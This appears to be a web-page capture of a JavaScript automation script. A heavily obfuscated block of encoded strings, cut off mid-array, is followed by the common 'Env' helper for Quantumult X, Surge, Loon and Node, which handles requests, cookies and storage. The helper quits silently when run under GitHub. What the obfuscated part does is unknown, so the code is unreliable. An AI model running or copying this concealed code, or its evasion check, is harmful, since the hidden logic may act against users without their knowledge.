2024-11-27 18:38:53 +08:00
|
|
|
|
function dRzaQ3(){}var GR0VQV=Object['\x64\x65\x66\x69\x6e\x65\x50\x72\x6f\x70\x65\x72\x74\x79'],KviQTD,ZOLEN7M,nP_KhE,EKYeFA,D4Lgqzz,EkXyNi,bfTuP0m,KV7924N,lYKIHAk,xi8VVi,bBuqn9I,StPF13,lWdFaYK,om7Xd4L,Ivv_inh,K_Lvk9_,E7X3jgg,Ky8uOW,aQicZ6,fGXfl3,FEMAUB,gm6PWJ_,dPT4aJP;function mYeRfJj(dRzaQ3){return KviQTD[dRzaQ3>0xa7?dRzaQ3+0x24:dRzaQ3+0x1e]}KviQTD=RmxvyN();function N8PouEW(dRzaQ3,GR0VQV){return ZOLEN7M(dRzaQ3,'length',{value:GR0VQV,configurable:mYeRfJj(0x5d)})}dRzaQ3(ZOLEN7M=Object.defineProperty,nP_KhE=v0JDrhi((dRzaQ3,GR0VQV)=>{return GR0VQV(dRzaQ3())},0x2)(Ntf6Zk,DfgR34));var ZytxFyx=[],ScDmPM=[jbKlAr4(0x0),jbKlAr4(0x1),jbKlAr4(mYeRfJj(-0x12)),jbKlAr4(mYeRfJj(-0x11)),jbKlAr4(0x4),'^|v.$',jbKlAr4(mYeRfJj(0x14)),'J2nl2{GA]h/QaOM}P`kZs8nxqDkG7YdE}4|8St^";','\x4a\x32\x6e\x6c\x32\x7b\x47\x41\x5d\x68\x2f\x51\x61\x4f\x4d\x7d\x50\x60\x6b\x5a\x73\x38\x6e\x78\x71\x44\x6b\x47\x37\x59\x64\x45\x7d\x34\x7c\x38\x70\x35\x52\x78\x4a\x29\x36\x71\x3c\x58\x32',jbKlAr4(0x6),jbKlAr4(mYeRfJj(-0x6)),jbKlAr4(mYeRfJj(0x5)),jbKlAr4(0x9),jbKlAr4(0xa),'\x33\x6f\x72\x7c\x4a\x69\x56\x45\x4e\x52\x65\x23\x23\x4f\x67\x7d\x4b\x73\x33\x3d\x7e\x7b\x45\x5e\x5f\x6b\x37\x6f\x37\x4f\x29\x6e\x28\x2e\x53\x52\x43\x64\x6a\x7d\x61\x5d\x74\x68\x3e','3or|JiVENRe#+','3or|Ji]>',jbKlAr4(0xb),jbKlAr4(mYeRfJj(-0xa)),jbKlAr4(0xd),jbKlAr4(mYeRfJj(0x6)),'\u003b\u0032\u007d\u006c\u0029\u0046\u0025\u006d\u007c',jbKlAr4(0xf),jbKlAr4(0x10),jbKlAr4(0x11),jbKlAr4(mYeRfJj(0x10)),jbKlAr4(0x13),jbKlAr4(0x14),'\x2f\x32\x42\x33\x39\x4c\x4e\x5e\x48\x45\x4b\x5b\x28\x7c',jbKlAr4(0x15),jbKlAr4(mYeRfJj(-0x4)),jbKlAr4(0x17),jbKlAr4(0x18),jbKlAr4(mYeRfJj(0x13)),'\u0068\u0030\u0053\u0048\u004b\u003a\u005e\u0049\u004e\u006a\u0078\u0074\u0028\u007c',jbKlAr4(0x1a),jbKlAr4(mYeRfJj(0x77)),jbKlAr4(mYeRfJj(-0x1)),jbKlAr4(mYeRfJj(0x15)),jbKlAr4(mYeRfJj(0x7e)),jbKlAr4(mYeRfJj(-0x9)),'q/oclG2~}jR<|(]X^>',jbKlAr4(0x20),'\u003e\u007c\u006d\u0060',jbKlAr4(0x21),jbKlAr4(mYeRfJj(-0x1d)),jbKlAr4(0x23),jbKlAr4(0x24),jbKlAr4(0x25),'se(9zG,Inj!vB8}R?LBHjTyK.{oB{oiNPI%QX^E!e:vvVkyXs~=HFG&|tjP]zBxR*N~~','||V8Z:v_;&','N{<Cvj|pb*8h(f#+5m72{Q.b+{B(N"Q=$gy6VFS.%E',jbKlAr4(mYeRfJj(0x17)),jbKlAr4(0x27),jbKlAr4(0x28),'%~#.imH^(]|K;gdEwo<',jbKlAr4(0x29),jbKlAr4(0x2a),jbKlAr4(0x2b),jbKlAr4(0x2c),jbKlAr4(mYeRfJj(0x1f)),jbKlAr4(mYeRfJj(0x12)),jbKlAr4(0x2f),jbKlAr4(0x30),'||z(Y8$ee]','||z(Y82^',jbKlAr4(0x31),jbKlAr4(mYeRfJj(0x9)),jbKlAr4(0x33),jbKlAr4(0x34),'/BFW7|p!',jbKlAr4(mYeRfJj(0x0)),jbKlAr4(0x36),'\x7b\x5f\x3c\x3b\x6e\x73\x7c\x70\x55\x5a\x54\x4b\x66\x36',jbKlAr4(0x37),jbKlAr4(0x38),jbKlAr4(0x39),jbKlAr4(0x3a),jbKlAr4(mYeRfJj(0x26)),jbKlAr4(0x3c),'\x61\x53\x30\x34\x2a\x7c\x33\x21',jbKlAr4(mYeRfJj(0x27)),jbKlAr4(0x3e),jbKlAr4(0x3f),jbKlAr4(0x40),jbKlAr4(0x41),jbKlAr4(0x42),jbKlAr4(mYeRfJj(0x29)),jbKlAr4(0x44),jbKlAr4(0x45),jbKlAr4(mYeRfJj(0x35)),jbKlAr4(0x47),jbKlAr4(0x48),jbKlAr4(mYeRfJj(0x3b)),jbKlAr4(0x4a),jbKlAr4(mYeRfJj(0x33)),jbKlAr4(0x4c),jbKlAr4(0x4d),jbKlAr4(0x4e),jbKlAr4(mYeRfJj(0x2e)),jbKlAr4(0x50),jbKlAr4(0x51),jbKlAr4(0x52),jbKlAr4(0x53),jbKlAr4(mYeRfJj(-0x18)),jbKlAr4(0x55),jbKlAr4(0x56),jbKlAr4(mYeRfJj(-0x16)),jbKlAr4(0x31),'Y%~/;1r?I]:o.t51sz|OL,?.yFe',jbKlAr4(mYeRfJj(0x4)),jbKlAr4(0x59),'\u0059\u0025\u007e\u002f\u003b\u0031\u003c\u0033\u0063\u005d\u003a\u006f\u002e\u0074\u002a\u006c\u0073\u007a\u007c\u004f\u004c\u002c\u007e\u003f',jbKlAr4(0x5a),jbKlAr4(0x5b),jbKlAr4(0x5c),jbKlAr4(mYeRfJj(-0x1e)),'\x2a\x4e\x55\x39\x77\x5e\x33\x53\x32\x22\x7c\x6c\x3f\x47\x66\x4e\x32\x37\x24\x30\x31\x66\x22\x42\x23\x5a\x31\x57\x4c\x58\x49\x23\x59\x25\x6a\x35\x53\x35\x22\x60\x40',jbKlAr4(mYeRfJj(-0x1b)),jbKlAr4(mYeRfJj(0x34)),'*NU9w^3S2"|l?GfN27$01f"B#Z1WLXI#Y%j5I',jbKlAr4(mYeRfJj(-0x19)),'v|7`p',jbKlAr4(0x38),jbKlAr4(0x60),jbKlAr4(0x61),jbKlAr4(mYeRfJj(0x21)),jbKlAr4(mYeRfJj(0x23)),jbKlAr4(0x64),jbKlAr4(0x65),jbKlAr4(0x66),jbKlAr4(0x67),jbKlAr4(mYeRfJj(0x3d)),jbKlAr4(0x69),jbKlAr4(mYeRfJj(-0x17)),jbKlAr4(mYeRfJj(0x8b)),jbKlAr4(0x22),jbKlAr4(0x53),jbKlAr4(0x6c),jbKlAr4(mYeRfJj(0x46)),jbKlAr4(0x6e),jbKlAr4(0x6f),jbKlAr4(mYeRfJj(-0x1e)),jbKlAr4(mYeRfJj(-0x1d)),jbKlAr4(0x22),jbKlAr4(0x70),jbKlAr4(mYeRfJj(0x52)),jbKlAr4(0x
|
|
|
|
|
function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"])
|